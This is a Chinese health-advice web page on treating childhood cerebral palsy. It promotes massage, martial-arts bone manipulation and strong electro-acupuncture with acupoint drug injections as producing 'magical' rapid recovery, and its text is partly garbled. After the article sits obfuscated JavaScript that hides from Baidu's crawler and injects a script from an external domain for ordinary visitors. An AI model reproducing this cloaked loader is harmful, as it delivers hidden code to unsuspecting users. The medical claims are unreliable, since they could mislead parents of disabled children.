當(dāng)前位置:首頁(yè) > 母嬰 > 育兒知識(shí) > 正文

小孩腦癱病的治療

2017-04-08 08:28:44  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):腦癱病是一種非常嚴(yán)重的疾病,而且大多數(shù)都是,小兒腦癱病,每一個(gè)家長(zhǎng)朋友們,都希望孩子身體是健康的,可是往往由于很多孩子患上腦癱,造

腦癱病是一種非常嚴(yán)重的疾病,而且大多數(shù)都是,小兒腦癱病,每一個(gè)家長(zhǎng)朋友們,都希望孩子身體是健康的,可是往往由于很多孩子患上腦癱,造成了自己的運(yùn)動(dòng)神經(jīng)發(fā)育障礙,甚至是嚴(yán)重的影響到了智力健康,那么這該怎么辦呢。

手法是根據(jù)中醫(yī)推拿、按麾結(jié)合中華武術(shù)中的技巧(分筋、錯(cuò)骨、點(diǎn)穴、太極)融合一體創(chuàng)造出的治療小兒腦癱病的獨(dú)特方法。人體運(yùn)動(dòng)是以骨骼為支架、關(guān)節(jié)為樞紐、肌肉收縮與舒張為動(dòng)力來實(shí)現(xiàn)的。小兒腦癱病的種種癥狀關(guān)鍵就是運(yùn)動(dòng)功能失調(diào)而導(dǎo)致的功能障礙和姿勢(shì)障礙。在治療中靈活巧妙運(yùn)用這種手法,最大的特點(diǎn)是可以舒展肢體、矯正畸形、舒通經(jīng)絡(luò),輔助肢體功能恢復(fù)形成功能意識(shí),加速血液循環(huán),從而改善肌肉骨骼神經(jīng)的營(yíng)養(yǎng),促進(jìn)患兒的各項(xiàng)功能,增強(qiáng)并達(dá)到抬頭、坐、站、走、手抓物功能的目的,使患兒快速康復(fù)。

(三)電針強(qiáng)刺激、手法、穴位用藥相結(jié)合矯正畸形的特點(diǎn)。

此方法能在短時(shí)間內(nèi)使肢體關(guān)節(jié)部位非正常功能得到矯正,恢復(fù)正常的手形、腳形、腿形等等,而且經(jīng)過一段時(shí)間的治廳,在提高肢體的各個(gè)部位的關(guān)節(jié)活動(dòng)能力、拉力、肌張力和功能的協(xié)調(diào)性,建立起人體需要和應(yīng)有的生活能力。例如手形中的“拳形”,手指分不開,以及腿形中腿伸不直,腳形中足跟不落地等上述癥狀通過電針強(qiáng)刺激有關(guān)可使其舒展的穴位就可以將手指分開、腿伸直、足跟落地,加上注射穴位控制的藥物及特殊的手法就會(huì)產(chǎn)生神奇的效果。它的主要特點(diǎn)就是通過電針的強(qiáng)刺激,可舒展功能穴位的巧用,還有特殊有效的手法,電麻和穴位用藥的作用,達(dá)到矯正畸形的目的。手法矯正畸形克服了術(shù)后瘢痕李縮,肌張力不足、功能失調(diào)等不足。達(dá)到激活大腦和小腦發(fā)育,快速建立各種神經(jīng)信號(hào)系統(tǒng),產(chǎn)生信號(hào)的回路,建立人所能產(chǎn)生的活力功能,形成反射孤,構(gòu)成人體整套功能系統(tǒng),奠基通往獨(dú)立行走的通道。

(四)功能訓(xùn)練與智力開發(fā)

這必須與上述各種治療方法有機(jī)結(jié)合才能取得較好的、穩(wěn)定的效果,是一種長(zhǎng)期有效和不可缺少的治療手段,具體包括:

1、護(hù)理。加強(qiáng)護(hù)理及衛(wèi)生,注意營(yíng)養(yǎng)、消除刺激因素。

2、教育。長(zhǎng)期加強(qiáng)語(yǔ)言訓(xùn)練和心理素質(zhì)訓(xùn)練,改善智力和功能。

3、功能鍛煉。配合按摩、針刺、支具耐心細(xì)致地加強(qiáng)訓(xùn)練,促使肌肉松弛,幫助患兒自行控制,以改善姿勢(shì)、步態(tài)和功能,防止畸形。

4、支具和矯形器。可以幫助控制無目的動(dòng)作,調(diào)整姿勢(shì),防治畸形。

上面的文章當(dāng)中我們了解到了,小兒腦癱病,腦癱一般來說帶來的嚴(yán)重后果非常大,甚至是危害到孩子的醫(yī)生,建議家長(zhǎng)朋友們要發(fā)泄到孩子患上了腦癱疾病,就要及時(shí)的給孩子進(jìn)行治療。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}